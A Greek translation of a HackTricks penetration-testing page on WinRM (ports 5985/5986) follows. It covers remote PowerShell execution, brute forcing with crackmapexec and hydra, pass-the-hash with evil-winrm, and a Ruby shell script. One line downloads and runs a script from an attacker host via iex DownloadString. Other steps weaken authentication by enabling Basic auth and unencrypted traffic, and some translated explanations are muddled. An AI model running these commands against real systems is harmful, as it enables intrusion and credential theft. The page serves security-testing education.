hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

27 KiB
Raw Blame History

5985,5986 - Ελέγχος ασφάλειας του WinRM

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Εγγραφείτε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Χάκινγκ
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις
Μείνετε ενημερωμένοι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών

Συμμετέχετε στο Discord και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!

WinRM

Το Windows Remote Management (WinRM) είναι ένα πρωτόκολλο της Microsoft που επιτρέπει την απομακρυσμένη διαχείριση των συστημάτων Windows μέσω HTTP(S), εκμεταλλευόμενο το SOAP στη διαδικασία. Βασίζεται ουσιαστικά στο WMI, παρουσιάζοντας τον εαυτό του ως μια διεπαφή βασισμένη σε HTTP για λειτουργίες WMI.

Η παρουσία του WinRM σε ένα μηχάνημα επιτρέπει την απλή απομακρυσμένη διαχείριση μέσω PowerShell, παρόμοια με το πώς λειτουργεί το SSH για άλλα λειτουργικά συστήματα. Για να διαπιστωθεί εάν το WinRM είναι λειτουργικό, συνιστάται ο έλεγχος για το άνοιγμα συγκεκριμένων θυρών:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Μια ανοιχτή θύρα από την παραπάνω λίστα υποδηλώνει ότι το WinRM έχει διαμορφωθεί, επιτρέποντας έτσι την προσπάθεια έναρξης μιας απομακρυσμένης συνεδρίας.

Έναρξη μιας συνεδρίας WinRM

Για να διαμορφώσετε το PowerShell για το WinRM, χρησιμοποιείται το Enable-PSRemoting cmdlet της Microsoft, το οποίο ρυθμίζει τον υπολογιστή για να αποδέχεται απομακρυσμένες εντολές PowerShell. Με αυξημένη πρόσβαση στο PowerShell, μπορούν να εκτελεστούν οι παρακάτω εντολές για να ενεργοποιηθεί αυτή η λειτουργικότητα και να οριστεί οποιοδήποτε υπολογιστής ως αξιόπιστος:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός μπαλαντέρ στη ρύθμιση trustedhosts, ένα βήμα που απαιτεί προσεκτική σκέψη λόγω των επιπτώσεών του. Επίσης, σημειώνεται ότι μπορεί να είναι απαραίτητη η αλλαγή του τύπου δικτύου από "Δημόσιο" σε "Εργασία" στον υπολογιστή του επιτιθέμενου.

Επιπλέον, το WinRM μπορεί να ενεργοποιηθεί απομακρυσμένα χρησιμοποιώντας την εντολή wmic, όπως παρουσιάζεται παρακάτω:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Αυτή η μέθοδος επιτρέπει την απομακρυσμένη ρύθμιση του WinRM, βελτιώνοντας την ευελιξία στη διαχείριση των μηχανημάτων Windows από απόσταση.

Έλεγχος αν είναι ρυθμισμένο

Για να επαληθεύσετε τη ρύθμιση του μηχανήματος επίθεσης, χρησιμοποιείται η εντολή Test-WSMan για να ελέγξετε αν ο στόχος έχει ρυθμιστεί σωστά για το WinRM. Εκτελώντας αυτήν την εντολή, θα πρέπει να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, που υποδεικνύουν επιτυχή ρύθμιση. Παρακάτω παρουσιάζονται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο έναντι ενός μη ρυθμισμένου:

  • Για έναν στόχο που είναι σωστά ρυθμισμένος, η έξοδος θα μοιάζει με αυτήν:
Test-WSMan <target-ip>

Η απόκριση θα περιέχει πληροφορίες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, που υποδηλώνει ότι το WinRM έχει ρυθμιστεί σωστά.

  • Αντίθετα, για έναν στόχο που δεν έχει ρυθμιστεί για το WinRM, δεν θα υπάρχουν τέτοιες λεπτομερείς πληροφορίες, υποδεικνύοντας την απουσία μιας κατάλληλης ρύθμισης του WinRM.

Εκτέλεση ενός εντολής

Για να εκτελέσετε απομακρυσμένα την εντολή ipconfig σε έναν στόχο μηχανής και να δείτε την έξοδό της, κάντε:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Μπορείτε επίσης να εκτελέσετε έναν εντολή από την τρέχουσα κονσόλα του PowerShell μέσω της Invoke-Command. Υποθέστε ότι έχετε τοπικά μια συνάρτηση με το όνομα enumeration και θέλετε να την εκτελέσετε σε έναν απομακρυσμένο υπολογιστή, μπορείτε να το κάνετε:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Εκτέλεση ενός σεναρίου

Για να εκτελέσετε ένα σενάριο στον στόχο σας μέσω του WinRM, μπορείτε να χρησιμοποιήσετε την εντολή Invoke-Command. Αυτή η εντολή σάς επιτρέπει να εκτελέσετε εντολές PowerShell σε απομακρυσμένους υπολογιστές.

Για να εκτελέσετε ένα σενάριο, ακολουθήστε τα παρακάτω βήματα:

  1. Ανοίξτε ένα παράθυρο PowerShell και συνδεθείτε στον στόχο σας μέσω του WinRM, χρησιμοποιώντας την εντολή Enter-PSSession ή New-PSSession.

  2. Χρησιμοποιήστε την εντολή Invoke-Command για να εκτελέσετε το σενάριο. Παράδειγμα:

    Invoke-Command -FilePath C:\path\to\script.ps1
    

    Στην παραπάνω εντολή, αντικαταστήστε το C:\path\to\script.ps1 με το πραγματικό μονοπάτι του σεναρίου που θέλετε να εκτελέσετε.

  3. Αναμένετε την ολοκλήρωση της εκτέλεσης του σεναρίου και ελέγξτε τα αποτελέσματα.

Με αυτόν τον τρόπο, μπορείτε να εκτελέσετε οποιοδήποτε σενάριο PowerShell στον στόχο σας μέσω του WinRM.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Λήψη αντίστροφου κέλυφους

Για να λάβετε ένα αντίστροφο κέλυφος, μπορείτε να ακολουθήσετε τα παρακάτω βήματα:

  1. Εκτελέστε την εντολή winrm quickconfig στον στόχο σας για να ενεργοποιήσετε την υπηρεσία WinRM.
  2. Χρησιμοποιήστε την εντολή winrm set winrm/config/client/auth @{Basic="true"} για να ενεργοποιήσετε την βασική πιστοποίηση.
  3. Εκτελέστε την εντολή winrm set winrm/config/service/auth @{Basic="true"} για να ενεργοποιήσετε την βασική πιστοποίηση για την υπηρεσία WinRM.
  4. Χρησιμοποιήστε την εντολή winrm set winrm/config/service @{AllowUnencrypted="true"} για να επιτρέψετε τη μη κρυπτογραφημένη επικοινωνία.
  5. Εκτελέστε την εντολή winrm create winrm/config/listener?Address=*+Transport=HTTP για να δημιουργήσετε έναν ακροατή WinRM για μη κρυπτογραφημένη επικοινωνία.

Αφού ολοκληρώσετε αυτά τα βήματα, μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το evil-winrm για να συνδεθείτε στον στόχο και να λάβετε ένα αντίστροφο κέλυφος.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Λήψη μιας συνεδρίας PS

Για να λάβετε μια διαδραστική κέλυφος PowerShell, χρησιμοποιήστε την εντολή Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Η συνεδρία θα εκτελεστεί σε ένα νέο διεργασία (wsmprovhost) μέσα στον "θύμα"

Εξαναγκασμός του WinRM να είναι ανοιχτός

Για να χρησιμοποιήσετε το PS Remoting και το WinRM αλλά ο υπολογιστής δεν είναι διαμορφωμένος, μπορείτε να το ενεργοποιήσετε με:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Αποθήκευση και Επαναφορά συνεδριών

Αυτό δεν θα λειτουργήσει αν η γλώσσα είναι περιορισμένη στον απομακρυσμένο υπολογιστή.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Μέσα σε αυτές τις συνεδρίες μπορείτε να φορτώσετε PS scripts χρησιμοποιώντας την εντολή Invoke-Command.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Σφάλματα

Εάν αντιμετωπίσετε το παρακάτω σφάλμα:

enter-pssession : Αποτυχία σύνδεσης με τον απομακρυσμένο διακομιστή 10.10.10.175 με το ακόλουθο μήνυμα σφάλματος: Ο πελάτης WinRM δεν μπορεί να επεξεργαστεί το αίτημα. Εάν το σχήμα πιστοποίησης είναι διαφορετικό από το Kerberos, ή εάν ο υπολογιστής του πελάτη δεν είναι ενταγμένος σε έναν τομέα, τότε πρέπει να χρησιμοποιηθεί μεταφορά HTTPS ή η μηχανή προορισμού πρέπει να προστεθεί στη ρύθμιση διαμόρφωσης TrustedHosts. Χρησιμοποιήστε την εντολή winrm.cmd για να διαμορφώσετε τους TrustedHosts. Σημειώστε ότι οι υπολογιστές στη λίστα TrustedHosts ενδέχεται να μην έχουν πιστοποίηση. Μπορείτε να λάβετε περισσότερες πληροφορίες για αυτό εκτελώντας την ακόλουθη εντολή: winrm help config. Για περισσότερες πληροφορίες, ανατρέξτε στο θέμα βοήθειας about_Remote_Troubleshooting.

Δοκιμάστε στον πελάτη (πληροφορίες από εδώ):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Συμμετέχετε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ.

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο.

Τελευταίες Ανακοινώσεις
Μείνετε ενημερωμένοι με τις νεότερες ανακοινώσεις για ευρήματα ασφαλείας και σημαντικές ενημερώσεις της πλατφόρμας.

Συμμετέχετε στο Discord και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!

Σύνδεση WinRM σε Linux

Βίαιη Δοκιμή

Προσέξτε, η βίαιη δοκιμή του WinRM μπορεί να αποκλείσει τους χρήστες.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Χρήση του evil-winrm

Το evil-winrm είναι ένα εργαλείο που χρησιμοποιείται για την εκτέλεση επιθέσεων στο πρωτόκολλο WinRM. Αυτό το πρωτόκολλο επιτρέπει την απομακρυσμένη διαχείριση των Windows συστημάτων.

Για να χρησιμοποιήσετε το evil-winrm, ακολουθήστε τα παρακάτω βήματα:

  1. Κατεβάστε και εγκαταστήστε το evil-winrm στον υπολογιστή σας.
  2. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή evil-winrm -i <IP_στόχου> -u <όνομαρήστη> -p <κωδικός_πρόσβασης> για να συνδεθείτε στο σύστημα στόχο.
  3. Αν ο συνδεδεμένος χρήστης έχει δικαιώματα διαχειριστή, τότε θα έχετε πλήρη πρόσβαση στο σύστημα και θα μπορείτε να εκτελέσετε εντολές και να πραγματοποιήσετε αλλαγές.

Το evil-winrm είναι ένα ισχυρό εργαλείο που μπορεί να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών στο πρωτόκολλο WinRM και την απόκτηση απομακρυσμένης πρόσβασης σε συστήματα Windows. Ωστόσο, πρέπει να χρησιμοποιείται με προσοχή και μόνο για νόμιμους σκοπούς, όπως η δοκιμή ασφαλείας και η πεντεστική διαδικασία.

gem install evil-winrm

Διαβάστε την τεκμηρίωση στο github του: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Για να χρησιμοποιήσετε το evil-winrm για να συνδεθείτε σε μια διεύθυνση IPv6, δημιουργήστε μια καταχώρηση μέσα στο /etc/hosts που θα ορίζει ένα ονοματικό πεδίο για τη διεύθυνση IPv6 και συνδεθείτε σε αυτό το πεδίο.

Διέλευση του hash με το evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Χρήση ενός PS-docker μηχανής

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Χρήση ενός ruby script

Κώδικας εξαγμένος από εδώ: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Αναφορές

Αυτόματες Εντολές HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Συμμετέχετε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ.

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενημερωμένοι με τον γρήγορο χάκινγκ κόσμο μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο.

Τελευταίες Ανακοινώσεις
Μείνετε ενημερωμένοι με τις νεότερες ευρήματα ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών.

Συμμετέχετε μαζί μας στο Discord και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: